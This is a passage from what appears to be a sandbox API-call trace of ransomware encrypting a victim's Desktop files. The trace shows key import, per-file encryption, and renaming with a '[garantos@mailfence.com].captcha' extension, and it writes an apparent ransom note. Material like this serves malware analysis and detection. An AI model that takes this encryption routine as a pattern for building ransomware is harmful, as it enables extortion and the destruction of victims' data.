dwMoveMethod=0x329fa28 | out: lpNewFilePointer=0x0) returned 1 [0120.014] WriteFile (in: hFile=0x120, lpBuffer=0x329fa38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa38*, lpNumberOfBytesWritten=0x329fa08*=0x1, lpOverlapped=0x0) returned 1 [0120.015] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.015] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.015] GetProcessHeap () returned 0x520000 [0120.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.015] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329f9f0*=0x40) returned 1 [0120.015] CryptDestroyKey (hKey=0x545248) returned 1 [0120.015] WriteFile (in: hFile=0x120, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fa08*=0x40, lpOverlapped=0x0) returned 1 [0120.015] WriteFile (in: hFile=0x120, lpBuffer=0x329fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa10*, lpNumberOfBytesWritten=0x329fa08*=0x4, lpOverlapped=0x0) returned 1 [0120.015] WriteFile (in: hFile=0x120, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fa08*=0x10, lpOverlapped=0x0) returned 1 [0120.016] WriteFile (in: hFile=0x120, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fa08*=0x80, lpOverlapped=0x0) returned 1 [0120.016] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa30 | out: lpNewFilePointer=0x0) returned 1 [0120.016] WriteFile (in: hFile=0x120, lpBuffer=0x329fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa20*, lpNumberOfBytesWritten=0x329fa08*=0x8, lpOverlapped=0x0) returned 1 [0120.016] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.016] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.016] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.016] ReadFile (in: hFile=0x120, lpBuffer=0x3090020, nNumberOfBytesToRead=0x942f, lpNumberOfBytesRead=0x329fa14, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fa14*=0x942f, lpOverlapped=0x0) returned 1 [0120.016] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329f9f0*=0x9430, dwBufLen=0x9430 | out: pbData=0x3090020*, pdwDataLen=0x329f9f0*=0x9430) returned 1 [0120.017] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.017] WriteFile (in: hFile=0x120, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x9430, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fa08*=0x9430, lpOverlapped=0x0) returned 1 [0120.017] CryptDestroyKey (hKey=0x545248) returned 1 [0120.017] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x9504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.017] SetEndOfFile (hFile=0x120) returned 1 [0120.021] GetProcessHeap () returned 0x520000 [0120.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.021] GetProcessHeap () returned 0x520000 [0120.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.021] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C4P_ngTwnzZZoM\\BmFVMwZ-.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c4p_ngtwnzzzom\\bmfvmwz-.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C4P_ngTwnzZZoM\\BmFVMwZ-.ppt.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c4p_ngtwnzzzom\\bmfvmwz-.ppt.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.022] CloseHandle (hObject=0x120) returned 1 [0120.022] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.025] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e0b150, ftCreationTime.dwHighDateTime=0x1d5dfdd, ftLastAccessTime.dwLowDateTime=0xb0d85860, ftLastAccessTime.dwHighDateTime=0x1d5e033, ftLastWriteTime.dwLowDateTime=0xb0d85860, ftLastWriteTime.dwHighDateTime=0x1d5e033, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="i oNgTBn.csv", cAlternateFileName="IONGTB~1.CSV")) returned 1 [0120.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C4P_ngTwnzZZoM\\i oNgTBn.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c4p_ngtwnzzzom\\i ongtbn.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0120.025] GetProcessHeap () returned 0x520000 [0120.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.025] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.025] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa28 | out: lpNewFilePointer=0x0) returned 1 [0120.025] WriteFile (in: hFile=0x120, lpBuffer=0x329fa38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa38*, lpNumberOfBytesWritten=0x329fa08*=0x8, lpOverlapped=0x0) returned 1 [0120.026] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.026] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.027] GetProcessHeap () returned 0x520000 [0120.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.027] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329f9f0*=0x40) returned 1 [0120.027] CryptDestroyKey (hKey=0x545248) returned 1 [0120.027] WriteFile (in: hFile=0x120, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fa08*=0x40, lpOverlapped=0x0) returned 1 [0120.027] WriteFile (in: hFile=0x120, lpBuffer=0x329fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa10*, lpNumberOfBytesWritten=0x329fa08*=0x4, lpOverlapped=0x0) returned 1 [0120.027] WriteFile (in: hFile=0x120, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fa08*=0x10, lpOverlapped=0x0) returned 1 [0120.027] WriteFile (in: hFile=0x120, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fa08*=0x80, lpOverlapped=0x0) returned 1 [0120.027] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa30 | out: lpNewFilePointer=0x0) returned 1 [0120.027] WriteFile (in: hFile=0x120, lpBuffer=0x329fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa20*, lpNumberOfBytesWritten=0x329fa08*=0x8, lpOverlapped=0x0) returned 1 [0120.027] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.027] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.027] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.028] ReadFile (in: hFile=0x120, lpBuffer=0x3090020, nNumberOfBytesToRead=0x3d58, lpNumberOfBytesRead=0x329fa14, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fa14*=0x3d58, lpOverlapped=0x0) returned 1 [0120.028] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329f9f0*=0x3d60, dwBufLen=0x3d60 | out: pbData=0x3090020*, pdwDataLen=0x329f9f0*=0x3d60) returned 1 [0120.028] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.028] WriteFile (in: hFile=0x120, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fa08*=0x3d60, lpOverlapped=0x0) returned 1 [0120.028] CryptDestroyKey (hKey=0x545248) returned 1 [0120.028] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x3e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.028] SetEndOfFile (hFile=0x120) returned 1 [0120.032] GetProcessHeap () returned 0x520000 [0120.032] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.032] GetProcessHeap () returned 0x520000 [0120.032] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.032] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C4P_ngTwnzZZoM\\i oNgTBn.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c4p_ngtwnzzzom\\i ongtbn.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C4P_ngTwnzZZoM\\i oNgTBn.csv.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c4p_ngtwnzzzom\\i ongtbn.csv.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.035] CloseHandle (hObject=0x120) returned 1 [0120.035] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.035] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43497cd0, ftCreationTime.dwHighDateTime=0x1d5e1fe, ftLastAccessTime.dwLowDateTime=0xa6bdfc20, ftLastAccessTime.dwHighDateTime=0x1d5e111, ftLastWriteTime.dwLowDateTime=0xa6bdfc20, ftLastWriteTime.dwHighDateTime=0x1d5e111, nFileSizeHigh=0x0, nFileSizeLow=0x9f53, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="xJSYe0Rxsr3ved.mp3", cAlternateFileName="XJSYE0~1.MP3")) returned 1 [0120.036] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43497cd0, ftCreationTime.dwHighDateTime=0x1d5e1fe, ftLastAccessTime.dwLowDateTime=0xa6bdfc20, ftLastAccessTime.dwHighDateTime=0x1d5e111, ftLastWriteTime.dwLowDateTime=0xa6bdfc20, ftLastWriteTime.dwHighDateTime=0x1d5e111, nFileSizeHigh=0x0, nFileSizeLow=0x9f53, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="xJSYe0Rxsr3ved.mp3", cAlternateFileName="XJSYE0~1.MP3")) returned 0 [0120.036] GetProcessHeap () returned 0x520000 [0120.036] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c8c8 [0120.036] CryptImportKey (in: hProv=0x534c08, pbData=0x329f9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x545248) returned 1 [0120.036] CryptDecrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c8c8, pdwDataLen=0x329fa60 | out: pbData=0x53c8c8, pdwDataLen=0x329fa60) returned 1 [0120.036] CryptDestroyKey (hKey=0x545248) returned 1 [0120.036] GetProcessHeap () returned 0x520000 [0120.036] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.036] CryptImportKey (in: hProv=0x534c08, pbData=0x329f9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x545248) returned 1 [0120.036] CryptDecrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8, pdwDataLen=0x329fa60 | out: pbData=0x5354c8, pdwDataLen=0x329fa60) returned 1 [0120.036] CryptDestroyKey (hKey=0x545248) returned 1 [0120.036] GetProcessHeap () returned 0x520000 [0120.036] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x400) returned 0x56b938 [0120.036] CryptImportKey (in: hProv=0x534c08, pbData=0x329f9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x545248) returned 1 [0120.036] CryptDecrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x56b938, pdwDataLen=0x329fa60 | out: pbData=0x56b938, pdwDataLen=0x329fa60) returned 1 [0120.036] CryptDestroyKey (hKey=0x545248) returned 1 [0120.036] wsprintfW (in: param_1=0x329ea3c, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C4P_ngTwnzZZoM\\build note.txt") returned 67 [0120.036] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C4P_ngTwnzZZoM\\build note.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c4p_ngtwnzzzom\\build note.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0120.037] WriteFile (in: hFile=0x120, lpBuffer=0x56b938*, nNumberOfBytesToWrite=0x3e4, lpNumberOfBytesWritten=0x329ea38, lpOverlapped=0x0 | out: lpBuffer=0x56b938*, lpNumberOfBytesWritten=0x329ea38*=0x3e4, lpOverlapped=0x0) returned 1 [0120.039] CloseHandle (hObject=0x120) returned 1 [0120.040] GetProcessHeap () returned 0x520000 [0120.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b938 | out: hHeap=0x520000) returned 1 [0120.040] GetProcessHeap () returned 0x520000 [0120.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.040] GetProcessHeap () returned 0x520000 [0120.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c8c8 | out: hHeap=0x520000) returned 1 [0120.040] FindClose (in: hFindFile=0x53a950 | out: hFindFile=0x53a950) returned 1 [0120.040] GetProcessHeap () returned 0x520000 [0120.040] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b6b0 | out: hHeap=0x520000) returned 1 [0120.040] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.040] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d1fc80, ftCreationTime.dwHighDateTime=0x1d6ad09, ftLastAccessTime.dwLowDateTime=0x90d1fc80, ftLastAccessTime.dwHighDateTime=0x1d6ad09, ftLastWriteTime.dwLowDateTime=0x73973100, ftLastWriteTime.dwHighDateTime=0x1d6acfd, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0xffff, cFileName="captcha_visual.exe", cAlternateFileName="CAPTCH~1.EXE")) returned 1 [0120.040] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58d7d20, ftCreationTime.dwHighDateTime=0x1d5e138, ftLastAccessTime.dwLowDateTime=0xb2716920, ftLastAccessTime.dwHighDateTime=0x1d5e30b, ftLastWriteTime.dwLowDateTime=0xb2716920, ftLastWriteTime.dwHighDateTime=0x1d5e30b, nFileSizeHigh=0x0, nFileSizeLow=0x18b46, dwReserved0=0x0, dwReserved1=0xffff, cFileName="cHy0qSh.flv", cAlternateFileName="")) returned 1 [0120.040] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52250a40, ftCreationTime.dwHighDateTime=0x1d5e347, ftLastAccessTime.dwLowDateTime=0x99a9d380, ftLastAccessTime.dwHighDateTime=0x1d5e763, ftLastWriteTime.dwLowDateTime=0x99a9d380, ftLastWriteTime.dwHighDateTime=0x1d5e763, nFileSizeHigh=0x0, nFileSizeLow=0x16a91, dwReserved0=0x0, dwReserved1=0xffff, cFileName="D kS2_TcIch.avi", cAlternateFileName="DKS2_T~1.AVI")) returned 1 [0120.040] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.040] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884cd720, ftCreationTime.dwHighDateTime=0x1d5e08f, ftLastAccessTime.dwLowDateTime=0xa2209140, ftLastAccessTime.dwHighDateTime=0x1d5e6da, ftLastWriteTime.dwLowDateTime=0xa2209140, ftLastWriteTime.dwHighDateTime=0x1d5e6da, nFileSizeHigh=0x0, nFileSizeLow=0x6dd9, dwReserved0=0x0, dwReserved1=0xffff, cFileName="FD1vIXwTkAV.gif", cAlternateFileName="FD1VIX~1.GIF")) returned 1 [0120.041] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FD1vIXwTkAV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fd1vixwtkav.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.041] GetProcessHeap () returned 0x520000 [0120.041] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.041] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.041] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.041] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0x7, lpOverlapped=0x0) returned 1 [0120.042] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.042] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.042] GetProcessHeap () returned 0x520000 [0120.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.042] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40) returned 1 [0120.042] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.043] WriteFile (in: hFile=0x124, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fc90*=0x40, lpOverlapped=0x0) returned 1 [0120.043] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.043] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.043] WriteFile (in: hFile=0x124, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.043] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.043] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.043] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.043] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.043] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.043] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x6dd9, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x6dd9, lpOverlapped=0x0) returned 1 [0120.044] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x6de0, dwBufLen=0x6de0 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x6de0) returned 1 [0120.044] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.044] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x6de0, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x6de0, lpOverlapped=0x0) returned 1 [0120.044] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.044] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.045] SetEndOfFile (hFile=0x124) returned 1 [0120.048] GetProcessHeap () returned 0x520000 [0120.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.048] GetProcessHeap () returned 0x520000 [0120.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.048] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FD1vIXwTkAV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fd1vixwtkav.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FD1vIXwTkAV.gif.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fd1vixwtkav.gif.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.059] CloseHandle (hObject=0x124) returned 1 [0120.060] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.060] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0d6540, ftCreationTime.dwHighDateTime=0x1d5dd7e, ftLastAccessTime.dwLowDateTime=0xdcce9930, ftLastAccessTime.dwHighDateTime=0x1d5e217, ftLastWriteTime.dwLowDateTime=0xdcce9930, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="fKh p", cAlternateFileName="FKHP~1")) returned 1 [0120.060] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.060] GetProcessHeap () returned 0x520000 [0120.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x68) returned 0x545658 [0120.060] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\*.*", lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0d6540, ftCreationTime.dwHighDateTime=0x1d5dd7e, ftLastAccessTime.dwLowDateTime=0xdcce9930, ftLastAccessTime.dwHighDateTime=0x1d5e217, ftLastWriteTime.dwLowDateTime=0xdcce9930, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x53a950 [0120.060] GetProcessHeap () returned 0x520000 [0120.060] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545658 | 